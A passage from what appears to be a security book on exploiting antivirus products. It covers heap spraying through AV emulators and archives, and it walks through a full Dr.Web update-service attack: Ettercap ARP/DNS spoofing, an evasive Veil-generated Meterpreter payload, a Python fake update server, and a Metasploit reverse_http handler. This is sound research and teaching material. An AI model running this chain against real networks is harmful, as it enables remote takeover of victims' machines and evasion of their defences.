cases,  specifi cally when talking about ASLR and fi xed address memory pages with

RWX attributes, performance guides the decision. One company, which will remain 

unnamed, even showed me a comparison using ASLR-enabled modules and

non-ASLR-enabled ones.

Writing Complex Payloads

Often, an exploit for an antivirus product must be created specifi cally for the target 

operating system, architecture, and even fi nal target machine. In such cases, you 

need to determine how to create complex payloads, not just a simple hard-coded 

address or set of addresses plus a hard-coded shellcode that may or may not work 

for the real target. Complex payload creation in client-side applications typically 

means using JavaScript, for example, when talking about web browsers or docu-

ment readers such as Adobe Acrobat Reader. When talking about Offi ce suites,

such as Microsoft Offi ce, you may need to embed an Adobe Flash object to try 

to perform just-in-time (JIT) spraying or heap spraying by embedding a bunch

of BMP images to fi ll a big chunk of memory with bitmap data you can use later.
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In the case of an antivirus engine, there is no JavaScript interpreter. (Or is 

there? I return to this question later on.) There is no way to embed and run 

Flash applications, nor (naturally) is there an option that lets you put pictures 

in a Word document and expect the antivirus engine to load all the pictures in 

memory. What are the options for heap spraying? For heap manipulation? Or for 

simply creating complex payloads? The following sections discuss some of the 

features that antivirus products offer that can help an exploit writer create very 

complex payloads. It will not be as “easy,” in the sense of the number of avail-

able technologies to write an exploit, as with web browsers or Acrobat Reader.

Taking Advantage of Emulators

This is obviously the number-one answer. All existing antivirus engines, 

with the notable exception of ClamAV, contain at least one emulator, and that 

is the Intel x86 emulator. Can the emulator be used for malicious purposes? The 

answer is yes and no. The emulators in antivirus products are often limited in 

the sense that time-outs are set, as are memory limits and even limits for each 

loop the emulator runs. 

Unfortunately, this means that you cannot create a Windows PE, Executable 

and Linkable Format (ELF), or MachO fi le; force it to be emulated; and then use it 

to fi ll 1GB or 2GB of memory in order to perform heap spraying before triggering 

the real vulnerability. On the other hand, the emulator can be fi ngerprinted and 

identifi ed, thus helping the attacker to programmatically create a targeted fi nal 

payload, or you can leverage the emulator to cause some memory leak while it 

is emulating code in the malicious fi le so that memory of a certain size is not 

freed after your sample is emulated. Naturally, this approach requires deep 

knowledge of the emulator, and so you need to reverse-engineer and analyze it. 

The emulator is likely one of the most broken pieces inside antivirus products, 

as well as one of the more frequently updated, which usually translates into 

many new bugs for each release.

It is important to note that not all malware samples are passed to the emulator; 

therefore, before using the emulator as an attack vector, you need to make sure 

you can trigger the emulator for a given sample. How can you force an antivirus 

to emulate a sample fi le? You don’t! Instead, I typically do the following:

 1. Reverse-engineer the core up to the point where the scanning process is 

discovered.

 2. Put a breakpoint in the function where the emulator is going to be used 

by the scanner.

 3. Run the antivirus product against a big malware set.

 4. Wait until the breakpoint is hit.
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The trick here is to pass many samples and fi nd which one is going to trigger 

the emulator. Once the breakpoint (set in step 2) is hit, bingo! You now have a 

sample that is known to trigger the emulator. Usually, fi les that trigger the emula-

tors are EXE cryptors or packers that are too complex to decrypt statically, and 

the antivirus engineers decided to decrypt them using the emulator (which is 

a good idea: let the machines work). Once you have identifi ed which Windows 

PE, ELF, or MachO fi le is being emulated, you can modify the code at the entry 

point to put your own code, and voilà! You have a sample that is emulated and 

a place to put code to generate the payload or to cause multiple memory leaks 

in order to perform heap spraying. You will have much more luck fi nding such 

samples with Windows PE fi le sets than with ELF or MachO fi les.

Even if you use the emulator to do heap spraying or some of the other tricks 

mentioned previously, there are still more problems and limitations to overcome: 

AV emulators usually have hard-coded limits for the number of instructions they 

can emulate, the number of API calls allowed, the amount of memory they can

use, and so on. Emulators cannot let a sample run forever on a desktop machine 

for performance reasons. Say that a malicious sample fi le can cause a memory 

leak in the emulator. For example, suppose that the function NtCreateFile, 

when passed bad arguments, allocates a buffer that is never freed. Now, say 

that it allocates a 1KB memory chunk each time it is called, but the antivirus 

emulator refuses to continue after running this function more than a thousand 

times. The attacker just allocated 1,024,000 bytes (1MB). If you need to allocate 

more memory during an attack, then it is time for the next trick.

Exploiting Archive Files

An archive fi le, such as a TAR or a simple ZIP, is a fi le with many other fi les 

inside of it. When an antivirus analyzes an archive fi le, by default, the kernel 

does the following:

 1. It analyzes all fi les inside the archive, applying recursion limits (that is, it 

does not recursively scan more than fi ve nested archive fi les).

 2. It analyzes all fi les sequentially, from the very fi rst time in the archive to 

the very last time.

In the example used previously involving the hypothetical memory leak 

with NtCreateFile, you had the option to allocate up to 1MB of memory per

sample. What if, instead of a single Windows PE fi le, you send 100 slightly 

modifi ed versions of a fi le to scan? The antivirus, by default, will analyze 100 

fi les, thus allocating 100 MBs. If, instead of 100, you compress 1,000 fi les, you 

will be allocating 1,000 MBs, or 1 gigabyte. For this trick, you can simply add 

one byte or DWORD at the end of the fi le (at the overlay data) so the crypto-

graphic hash changes and, as such, the antivirus does not have any way to 
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determine whether the fi le was scanned before. Also note that because the fi les 

are very similar, with only a byte or a DWORD changed, the compressor will be 

very effi cient in compressing the fi les, thus creating a ZIP or 7z or RAR archive 

fi le that is extremely small, considering the large number of fi les inside the 

archive. Nice trick, isn’t it?

After allocating the memory size by using the previous trick, you can add 

one more fi le to the archive, the very last one, which will actually trigger the 

bug. Then you can use the allocated memory in the targeted antivirus. This is 

one way of doing heap spraying against an antivirus that, by the way, usually 

works very well.

Finding Weaknesses in Intel x86, AMD x86_64, and ARM Emulators

Antivirus engines usually implement not only a single emulator but a bunch of 

them. The most common emulator to fi nd is for supporting Intel x86, but it is not 

unusual to fi nd an emulator for AMD x86_64, for ARM, or even for Microsoft 

.NET byte-code! This means that an attacker can write advanced payloads in 

whatever assembly language the targeted antivirus supports. You could even 

write parts of the payload using different assemblers in different Windows PE 

fi les for different architectures: using the previous trick—archive fi les—you 

could send a fi le that would implement one part of the complex attack in an 

Intel x86 assembler, a second fi le that would continue implementing it with an 

AMD x86_64 assembler, and a fi nal one that would do whatever you need in 

an ARM assembler.

There is a good reason why you might torture yourself with such an incred-

ibly complex attack: obfuscation. An attack using various emulators would 

certainly cause a lot of problems for the analyst or analysts trying to understand 

the exploit. Of course, a smart analyst would try to fi nd a pattern and then 

automate the task of de-obfuscation.

Using JavaScript, VBScript, or ActionScript

In some of the previous sections, I excluded the option to use JavaScript to create 

complex payloads or to perform heap spraying, saying that it was specifi c to web 

browsers and Adobe Acrobat Reader. But I also left one question unanswered: 

are there any JavaScript interpreters or emulators available in antivirus scan-

ners? They do exist, although it depends on the antivirus product. Usually, the 

same limitations that apply to the Intel x86 emulator apply to the JavaScript 

interpreter or emulator: there are limits set for memory consumption, not all 

APIs can be used, there are emulation time-outs, there are limits in the loops 

and numbers of instructions emulated, and so on.

When JavaScript is present, you can use it as you would any other native 

code emulators (as previously explained) to create the fi nal payload to exploit 

a vulnerability in an antivirus. 
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There are a couple of reasons why it is better to use JavaScript than pure 

assembly code for such an exploit:

■ It is easier to code in high-level languages, such as JavaScript, than in 

pure assembler code.

■ It is easier to get a JavaScript code emulated or interpreted than it is with 

a PE, ELF, or MachO fi le.

Indeed, most obfuscated JavaScript fi les, depending on the antivirus product, 

are actually interpreted or emulated by the JavaScript engine implemented in 

the antivirus kernel. However, this does not happen all the time with Windows 

PE fi les or other program fi les because of performance reasons.

Depending on the antivirus product, not only do Intel x86, AMD64, ARM, 

or JavaScript emulators exist, but you may also fi nd VBScript and ActionScript 

emulators. Different antivirus kernels or products have their own implementa-

tion of such emulators.

One interesting and highly recommended use of JavaScript (or VBScript if 

available) when writing antivirus exploits is that you can write exploits target-

ing multiple engines with much greater ease than with the assembler language. 

If you are targeting a number of antivirus engines and you know they have 

embedded a JavaScript engine, you can fi ngerprint the JavaScript engine as 

implemented by the antivirus product and then create different fi nal payloads 

for different antivirus products.

Determining What an Antivirus Supports

Determining which emulators and interpreters an antivirus product supports 

is not trivial, but there are some quick approaches to doing so. In general, if the 

emulator is not loaded dynamically from plug-ins (that are usually encrypted 

and compressed), you can simply use the grep tool to look for patterns and 

strings. For example, to determine where the native code emulator is for Zoner 

AntiVirus for Linux, you can simply issue the following command:

$ LANG=C grep emu -r /opt/zav/
Binary file /opt/zav/bin/zavcli matches
Binary file /opt/zav/lib/zavcore.so matcheso

If there is an emulator inside Zoner AntiVirus, it is in either zavcli or

zavcore.so. Such components are usually implemented in the libraries. I will 

use one command from the Radare2 reverse-engineering suite to list all symbols 

from the zavcore.so library and fi lter out those that could be for an emulator:

$ rabin2 -s /opt/zav/lib/zavcore.so | egrep "(emu|VM)"
vaddr=0x00092600 paddr=0x00078600 ord=525 fwd=NONE sz=419 bind=LOCAL
type=FUNC
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name=_ZL17PeInstrInvalidateP9_PE_VMCTXP10_PE_THREADjP10X86_DISASMjPP12
_PE_JITBLOCKPPhj
jij.clone.0
vaddr=0x00198640 paddr=0x0017e640 ord=622 fwd=NONE sz=80 bind=LOCAL
type=OBJECT name=_ZL7g_JitVM
(…)
vaddr=0x000f7aa0 paddr=0x000ddaa0 ord=773 fwd=NONE sz=84 bind=LOCAL
type=OBJECT name=_ZZN5RarVM16IsStandardFilterEPhiE4C.25
vaddr=0x000f7a80 paddr=0x000dda80 ord=774 fwd=NONE sz=16 bind=LOCAL
type=OBJECT name=_ZZN5RarVM21ExecuteStandardFilterE18VM_StandardFilters
E5Masks

On the surface, it seems to support some sort of virtual machine (VM) for 

PE fi les (PE_VMCTX, which translates to PE virtual machine context) and also for

the RAR VM, the virtual machine implemented by the fi le compression utility 

RAR. This information tells you which VMs you could target if you intend to 

fi nd bugs and exploit them in Zoner AntiVirus. If you try to fi nd references 

to scripting engines, you will discover that there are none:

$ rabin2 -s /opt/zav/lib/zavcore.so | egrep -i "(vb|java|script)"

A search like this one does not return any meaningful results, simply because 

the absence of certain string patterns does not mean the absence of certain 

features. You have to know for sure that the functionality you are looking for is 

not present, not even in encrypted or compressed antivirus plug-ins. Only then 

can you conclude that the antivirus does not support such emulating features. If 

you take a look at some other antiviruses that you know support these features, 

such as Comodo, you will see a different output:

$ LANG=C grep jscript -r *
Binary file libSCRIPTENGINE.so matches

This uncovers a match in the library libSCRIPTENGINE.so, which lives up to

its name. If you take a look with the rabin2 tool from the Radare2 command-line

tools, you see a lot of interesting symbols telling you which scripting engines 

are supported:

$ rabin2 -s libSCRIPTENGINE.so | egrep -i "(js|vb)" | more
vaddr=0x000c2943 paddr=0x00067c33 ord=083 fwd=NONE sz=2327 bind=LOCAL 
type=FUNC name=_GLOBAL__I_JsObjectMethod.cpp
vaddr=0x000c6b08 paddr=0x0006bdf8 ord=086 fwd=NONE sz=43 bind=LOCAL
type=FUNC name=_GLOBAL__I_JsParseSynate.cpp
vaddr=0x001009e0 paddr=0x000a5cd0 ord=099 fwd=NONE sz=200 bind=LOCAL
 type=OBJECT name=_ZL9js_arrays
vaddr=0x000dc033 paddr=0x00081323 ord=108 fwd=NONE sz=270 bind=LOCAL
type=FUNC name=_GLOBAL__I_JsGlobalVar.cpp
(…)
vaddr=0x003257b0 paddr=0x002caaa0 ord=221 fwd=NONE sz=40 bind=UNKNOWN 
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type=OBJECT name=_ZTV9CVbBelowE
(…)
vaddr=0x000e7664 paddr=0x0008c954 ord=225 fwd=NONE sz=19 bind=UNKNOWN 
type=FUNC name=_ZN13CVbIntegerDivD1Ev

Comodo Antivirus has support for both JavaScript and VBScript, which means 

an attacker can write payloads in either of these two supported scripting engines.

Launching the Final Payload

The previous section focused on how to create payloads by determining which 

emulators or interpreters are supported, how to use archives to launch multiple 

stages of a single attack, and so on. But once you have a payload created for 

the targeted antivirus, what do you need to do to launch the last stage of your 

exploit? There is no simple answer. It largely depends on which emulator or 

interpreter you are using, because it is completely different to deliver a payload 

from JavaScript or VBScript than to do the same from an emulated PE fi le. In 

each case, the following rules always apply:

■ All content dropped to disk is analyzed by the antivirus.

■ All new content evaluated or executed at runtime is analyzed by the 

antivirus.

■ For each new fi le or buffer dropped to disk or evaluated during runtime, 

all the scanning routines are applied.

This means that, for example, if you are creating a payload in an Intel x86 

assembler, you need to create a fi le, write the buffer to the fi le, and close it. It is 

automatically handled by the antivirus, and usually all the scanning routines 

are applied to this new buffer. For a JavaScript or VBScript emulator, simply 

using eval()triggers the emulator. The eval() function is usually hooked to

fi nd patterns or to apply other scanning routines to detect malware in the newly 

created buffer. For example, a look at the libSCRIPTENGINE.so library from 

Comodo Antivirus reveals the following string:

.rodata:00000000000A7438   ; char aFoundVirus[]

.rodata:00000000000A7438 46 6F 75 6E 64 20 56 69+aFoundVirus   db
'Found Virus!',0     ; DATA XREF: eval(CParamsHelper &)+C5o
.rodata:00000000000A7445 00 00 00 00 00 00 00 00+              align 10h

If you follow the data cross-reference to this string, you land in the function 

eval(CParamsHelper &):

.text:00082F03    mov     edi, 8           ; unsigned __int64

.text:00082F08    call    __Znwm           ; operator new(ulong)

.text:00082F0D    lea     rsi, aFoundVirus ; "Found Virus!"
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.text:00082F14    mov     rdi, rax         ; this

.text:00082F17    mov     rbx, rax
; CJsStopRunException::CJsStopRunException(char *)
.text:00082F1A    call    __ZN19CJsStopRunExceptionC1EPc
.text:00082F1F    jmp     short loc_82F34

As you can see, for each call to the eval JavaScript function, the antivirus is

scanning the buffer. If it fi nds something, the execution of the JavaScript interpreter 

is halted. That information tells you that by simply calling the eval JavaScript

function, you can deliver a payload targeting Comodo Antivirus. On the basis 

of my research, I noticed that it is common for other antivirus engines to also 

hook this function. This is a very useful piece of information for exploit writers.

Exploiting the Update Services

One of the vulnerable client-side parts of antivirus software is the update 

service. Exploiting update services is completely different than exploiting the 

usual memory corruption vulnerabilities in client-side components, such as the 

fi le format parsers. Such attacks usually mean that the connection between both 

ends (the client machine downloading updates and the server from which the 

updates will be downloaded) must somehow be intercepted. In a Local Area 

Network (LAN), the interception can be accomplished via Address Resolution 

Protocol (ARP) spoofi ng. 

ARP spoofi ng, or ARP poisoning, is a technique by which the attacker sends 

spoof ARP answers to the LAN. The spoofed gratuitous ARP answers are meant 

to associate the attacker’s MAC address with the IP address of the host being 

targeted, causing the traffi c between client machines to the target, spoofed 

server to be intercepted by an attacker. Then, because all the traffi c is fl owing 

through the attacker-controlled machine, it can alter the packets being sent 

by potentially modifying the update bits coming from the specifi c targeted 

antivirus update servers to the client machines. The results of such an attack 

can be disastrous if the update services (on the client side) do not authenticate 

the received update data.

When searching for potential vulnerabilities in update services, you need to 

answer the following questions:

■ Is the update service using SSL or TLS?

■ Is the update service verifying the certifi cate from the server?

■ Are updates signed?

■ Is the signature verifi ed by the update service?

■ Is the update service using any library that allows the bypassing of 

signature checks?



308 Part  III8 ■ Analysis and Exploitation

When writing exploits, almost all antivirus products I analyzed use plain-text 

communications, usually in the form of HTTP, with no SSL or TLS. This use of 

plain-text means that anything sent from the server to the client can be modifi ed 

without raising any fl ags. In rare cases, some servers use SSL/TLS exclusively 

as a means of communication, not for verifying that the server is the true server 

the client machine wants to communicate with. Also, one may ask whether 

the updates are being authenticated. By “authenticated,” I mean whether it can

be verifi ed that the updates were created by the antivirus in question and were 

not modifi ed in transit. Authentication is usually done by signing the update 

fi les (for example, with RSA).

Fortunately for the attacker, most antivirus products authenticate their update 

fi les by simply using CRC or cryptographic hashes such as MD5, which works 

exclusively for the purpose of verifying that the updates were not corrupted 

during transit, and nothing else. An attacker can simply send the correct CRC 

or MD5 hashes corresponding to the update fi les. Last but not least, even if 

the update service is verifying the update’s signature, if it uses an old version 

of OpenSSL, which is not that rare, you can still send updates “signed” with 

invalid signatures that will cause the signatures to be validated anyway. The 

following is an extract from the OpenSSL bug CVE-2008-5077:

Several functions inside OpenSSL incorrectly checked the result after
calling the EVP_VerifyFinal function, allowing a malformed signature 
to be treated as a good signature rather than as an error. This issue affected 
the signature checks on DSA and ECDSA keys used with SSL/TLS.
One way to exploit this flaw would be for a remote attacker who is in 
control of a malicious server or who can use a man in the middle attack to
present a malformed SSL/TLS signature from a certificate chain to a
vulnerable client, bypassing validation.

This means that any update service client code using an OpenSSL version of 

0.9.8 or earlier is vulnerable to this bug.

Writing an Exploit for an Update Service

This section analyzes a simple exploit for the updating service of the Dr.Web 

antivirus, for both Linux and Windows. This antivirus, at least during its 6.X 

versions, used to update components via plain HTTP, and the only method used

to authenticate the components was with the CRC algorithm, a simple checksum. 

Naturally, under these conditions, the exploitation of the update system of the 

Dr.Web antivirus becomes trivial.

The Dr.Web antivirus used to download update fi les from a hard-coded set 

of plain-HTTP servers:

■ update.geo.drweb.com

■ update.drweb.com
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■ update.msk.drweb.com

■ update.us.drweb.com

■ update.msk5.drweb.com

■ update.msk6.drweb.com

■ update.fr1.drweb.com

■ update.us1.drweb.com

■ update.kz.drweb.com

■ update.nsk1.drweb.com

By performing ARP spoofi ng and a DNS poisoning attack in a LAN, against 

these domains, attackers would be able to serve their own updates. The 

process of updating starts by selecting one server from the preceding list and 

then downloading a fi le with a timestamp, to determine whether there is a 

new update:

HTTP Request:
GET /x64/600/av/windows/timestamp
HTTP/1.1 Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache

HTTP Response:
HTTP/1.1 200 OK 
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
Content-Type: application/octet-stream
Content-Length: 10
Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
Connection: keep-alive
Accept-Ranges: bytes

1397898695

The returned value is a Unix timestamp indicating the time of the last update 

available. After this, another check is made to determine the current version of 

the antivirus product, specifi ed in the drweb32.flg fi le:

HTTP Request:
GET /x64/600/av/windows/drweb32.flg HTTP/1.1 
Accept: */*
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Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647 
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601) 
Connection: Keep-Alive
Cache-Control: no-cache

HTTP Response:
HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
Content-Type: application/octet-stream
Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
Connection: keep-alive
Accept-Ranges: bytes [windows]

LinkNews=http://news.drweb.com/flag+800/
LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/
drweb-800-win.exe
FileName=
isTime=1
TimeX=1420122293
cmdLine=
Type=1
ExcludeOS=2k|xp64
ExcludeDwl=ja
ExcludeLCID=17|1041
[signature]
sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8A
C4C291F364077

As you can see, part of what it returns in the response is the link to download 

the latest version of the product, the excluded operating systems, and so on.

The funny (or should I say interesting) part of the update protocol then starts 

when Dr.Web asks for an LZMA-compressed catalog with all the fi les that can 

be updated:

GET /x64/600/av/windows/drweb32.lst.lzma HTTP / 1.1
Accept: * / *
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647 
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601) 
Connection: Keep-Alive Cache-Control: no-cache 

HTTP / 1.1 200 OK 
Server: nginx / 42 
Date: Sat, 19 Apr 2014 10:33:39 GMT
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Content-Type: application / octet-stream
Content-Length: 2373
Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT 
Connection: keep-alive
Accept-Ranges: bytes

(…binary data…)

A look inside this LZMA-compressed fi le reveals something similar to the 

following listing:

 [DrWebUpdateList]
[500]
+timestamp, 8D17F12F
+lang.lst, EDCB0715
+update.drl, AB6FA8BE
+drwebupw.exe, 8C879982
+drweb32.dll, B73749FD
+drwebase.vdb, C5CBA22F
…
+<wnt>%SYSDIR64%\drivers\dwprot.sys, 3143EB8D
+<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe,
8097D92B
+<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll,
A18AEA4A
...
[DrWebUpdateListEnd]

This list contains the fi les that are available for update. Each fi lename is 

followed by some sort of a “hash.” The problem is that it is not a signature but, 

rather, a simple checksum (CRC). After discovering all this information, two 

approaches can be used to mount an attack:

■ When the LZMA-compressed catalog is downloaded, modify it and return 

a fake one with the valid CRC hash of a special component to be installed 

on the system.

■ Modify one of the fi les in the catalog, adding one special payload of your 

own, and use a CRC compensation attack so the checksum is the same.

The fi rst attack is more fl exible and gives you a lot of control, whereas the 

second attack is more complex and is not really required. If you choose to 

use the fi rst attack, you can simply forge your own LZMA-compressed catalog

with the CRCs of the fi les you want to install. By the way, it is important to 

note that you are not limited to deploying fi les in the Dr.Web program fi le’s 

directory only: you can write fi les anywhere in the affected machine, in both 

Linux and Windows.
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After the catalog is downloaded, the fi les in the catalog are checked to ensure 

that the CRC matches. Files that are different are downloaded and installed 

onto the target machine. In Linux, each independent fi le is downloaded, and in 

Windows, a patch-set fi le is downloaded. The patch-set that is requested takes 

the form of the following HTTP query:

GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f

If the fi le is not available, then Dr.Web tries to download the full installer for 

the new version:

GET /x64/600/av/windows/drwebupw.exe

The following steps show how to launch an attack against the Dr.Web update 

service:

 1. Perform a man-in-the-middle attack against a machine or set of machines

in a LAN. It is possible to do the same in a WAN, but that is beyond of 

the scope of this book.

 2. By using ARP spoofi ng and DNS spoofi ng, you can intercept the connec-

tions the client machines make to the update servers that I previously 

listed. You would use the open-source tool Ettercap for this purpose.

 3. In your machine, you create a fake Dr.Web update server using Python.

 4. When the Dr.Web vulnerable installation asks for the update fi les, you 

return a Meterpreter executable fi le (compatible with the Metasploit frame-

work) instead of the true update.

Use the following code to create your own Meterpreter payload, and make 

sure it evades detection by the antivirus, using the Veil-Evasion framework:

========================================================================
 Veil-Evasion | [Version]: 2.7.0
========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
========================================================================

 Main Menu

    29 payloads loaded

 Available commands:

    use             use a specific payload
    info            information on a specific payload
    list            list available payloads
    update          update Veil to the latest version
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    clean           clean out payload folders
    checkvt         check payload hashes vs. VirusTotal
    exit            exit Veil

[>] Please enter a command: list

 [*] Available payloads:

    1)    auxiliary/coldwar_wrapper
    2)    auxiliary/pyinstaller_wrapper

    3)    c/meterpreter/rev_http  
 (…)
    29)    python/shellcode_inject/pidinject
 [>] Please enter a command: use 3
[>] Please enter a command: set LHOST target-ip
[>] Please enter a command: generate
[>] Please enter the base name for output files: drwebupw
[*] Executable written to: /root/veil-output/compiled/drwebupw.exe

Now, it is time to use Ettercap to perform ARP spoofi ng and enable the

module to do DNS spoofi ng. The Ettercap tool can be installed in Debian-based 

Linux distributions by issuing this command:

$ sudo apt-get install ettercap-graphical

Once you have it installed, run it as superuser from a terminal:

$ sudo ettercap -G

The fl ag -G lets you use the GUI, which is easier than using the text interface

or using a long list of command-line fl ags. From the menu in the Ettercap

GUI, select Sniff ➪ Unifi ed Sniffi ng, select the appropriate network card, and 

click OK. Now, choose Hosts ➪ Scan for Hosts. It scans for hosts in the LAN 

corresponding to the selected network interface. Go to the menu and choose 

Hosts ➪ Hosts Lists, and then select the appropriate targets (the fi rst is the net-

work router and the second is the target machine running Dr.Web). Now, click 

Mitm ➪ ARP poisoning, check the Sniff Remote Connections option, and click 

OK. Next, you need to edit the fi le etter.dns to add the domains with DNS

entries you want to spoof. (In Ubuntu, the fi le is located in /etc/ettercap

/etter.dns.) 

drweb.com      A   your-own-ip
*.drweb.com    A   your-own-ip

After saving the changes to this fi le, go back to the Ettercap GUI, click

Plugins ➪ Manage Plugins, and double-click the list shown on dns_spoof. DNS 

spoofi ng is now enabled, and all queries from the target for the DNS record 
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of any *.drweb.com domain are answered with your own IP address. Now,

for the last step, to exploit this bug, use the following Dr.Web Python exploit 

written by the author of the blog at http://habrahabr.ru:

#!/usr/bin/python
#encoding: utf-8

import SocketServer
import SimpleHTTPServer
import time
import lzma
import os
import binascii

from struct import *
from subprocess import call

class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):

        if 'timestamp' in self.path:
            self.send_response(200)
            self.end_headers()
            self.wfile.write(open('timestamp').read())

        elif 'drweb32.flg' in self.path:
            self.send_response(200)
            self.end_headers()
            self.wfile.write(open('drweb32.flg').read())

        elif 'drweb32.lst.lzma' in self.path:
            self.send_response(200)
            self.end_headers()
            self.wfile.write(open('drweb32.lst.lzma').read())

        elif UPLOAD_FILENAME + '.lzma' in self.path:
            self.send_response(200)
            self.end_headers()
            self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read())

        elif UPLOAD_FILENAME + '.patch' in self.path:
            self.send_response(404)
            self.end_headers()

        else:
            print self.path

def CRC32_from_file(filename):
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    buf = open(filename,'rb').read()
    buf = (binascii.crc32(buf) & 0xFFFFFFFF)
    return "%08X" % buf

def create_timestamp_file():
    with open('timestamp','w') as f:
        f.write('%s'%int(time.time()))

    crc32 = CRC32_from_file(upload_filename)
    with open('drweb32.lst','w') as f:
        f.write('[DrWebUpdateList]\n')
        f.write('[500]\n')
        f.write('+%s, %s\n' % (upload_path+upload_filename,crc32))
        f.write('[DrWebUpdateListEnd]\n')

def edit_file_size(lzma_filename,orig_filename):
    file_size = os.stat(orig_filename).st_size
    with open(lzma_filename,'r+b') as f:
        f.seek(5)
        bsize = pack('l',file_size)
        f.write(bsize)

print 'Http Server started...'
httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler)
httpServer.serve_forever()



316 Part  III6 ■ Analysis and Exploitation

Although the comments are in Russian, the code is perfectly understandable: 

it simply tries to mimic the update protocol supported by Dr.Web and returns 

modifi ed versions of the update fi les and the LZMA-compressed catalog by 

using the LZMA tool from Linux. If you run this tool and then try to update

the Dr.Web antivirus, you see some requests like the following ones:

$ python drweb_http_server.py 
Http Server started...
10.0.1.102 - - [20/Apr/2014 10:48:24] "GET 
/x64/600/av/windows/timestamp HTTP/1.1" 200 -
10.0.1.102 - - [20/Apr/2014 10:48:24] "GET 
/x64/600/av/windows/drweb32.flg HTTP/1.1" 200 -
10.0.1.102 - - [20/Apr/2014 10:48:26] "GET 
/x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 -
10.0.1.102 - - [20/Apr/2014 10:48:27] "GET 
/x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 -
10.0.1.102 - - [20/Apr/2014 10:48:27] "GET 
/x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –

On your machine, run a Metasploit reverse HTTP handler by issuing the 

following commands:

$ msfconsole

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST target-ip
LHOST => target-ip
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > run

[*] Started HTTP reverse handler on http://target-ip:8080/
[*] Starting the payload handler...

If everything goes well, when the Dr.Web antivirus tries to update its fi les, it 

downloads the Meterpreter payload you created, and after installing it, you see 

a new session in the Metasploit console, as shown in Figure 15-1.

Figure 15.1:  Dr.Web is successfully owned.
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And that is all! As you can see, writing an exploit for an antivirus update 

service such as this vulnerable one was trivial.

Server-Side Exploitation

Server-side exploitation is the remote exploitation of network services, having 

access to them via an adjacent network, a LAN, or via a WAN, the Internet. 

Server-side exploitation can apply to the following (non-exhaustive) list of 

antivirus services:

■ Update services—The antivirus services that check for updates and down-

load and install them on your computer or network.

■ Management console—The console where the infection alerts from client

machines are received and handled by an administrator.

■ Network services—Any network listening service deployed by the anti-

virus, such as a web server, an FTP server for providing updates to clients 

on the same network, and so on.

Diff erences between Client-Side and Server-Side Exploitation

Server-side exploitation, without specifi cally focusing on antivirus products, is 

very different from client-side exploitation. However, most of the rules discussed 

about client-side exploitation still apply:

■ Exploitation mitigations—All the exploitation mitigations are there to

make your life more diffi cult.

■ Mistakes—Antivirus engines make many mistakes, such as those I dis-

cussed relating to client-side exploitation: disabling ASLR, enabling DEP, 

creating RWX memory pages at fi xed addresses, and so on. Luckily for 

an attacker, those mistakes will ease the diffi culties stemming from the 

exploitation mitigations. 

Perhaps the biggest difference for the attacker is that, in this case, they will 

unfortunately not have any programming interface from the server-side to create 

your payloads. This means that if you want to exploit a specifi c network service 

in some antivirus, you have no chance to execute JavaScript or even an Intel x86 

assembler to create a payload or to perform heap spraying. However, the upside 

is that, as with client-side exploitation, exploiting an antivirus network service 

or an update service (or whatever server-side service you want to exploit) is 

not as diffi cult as exploiting OpenSSH, Apache, or Microsoft Windows Update. 

Indeed, it is exactly the same as what happens with its client-side counterpart: it 

is actually easier to target an antivirus service than any widely used, and more 

security-aware, server software.
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There is one more important difference: in the case of network services, you 

likely have only one chance at success. You have only one chance to attack the 

network service, and if you fail, you have no choice but to wait until the service 

is restarted. If it is automatically restarted, then you can try many times, but 

this is not recommended: to keep retrying after the service crashes and restarts 

is akin to brute forcing. It may generate a lot of alert logs and will eventually 

draw the attention of the system administrator and the security engineers.

Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses

I already discussed how to take advantage of the mistakes made by antivirus 

products when disabling DEP or when ASLR is disabled for at least one module, 

on the client-side. For server-side exploitation, the same rules apply:

■ If a vulnerability overwrites the stack, you can even execute code on the

stack if the antivirus disabled DEP.

■ If you need a fi xed address with native code to create your own payloads, 

with ROP gadgets, for example, you can use the modules without ASLR 

enabled that the antivirus engineers left for you to exploit their services.

■ If you need a place in memory to write shellcode, you can use the RWX 

pages created at fi xed memory addresses by the antivirus.

There is no real difference here between client-side and server-side exploitation.

Summa ry

Remote exploitation techniques are used in scenarios when an attacker does 

not have direct, local access to the target computer. An example of remotely 

exploiting client-side components of antivirus software is when the attacker 

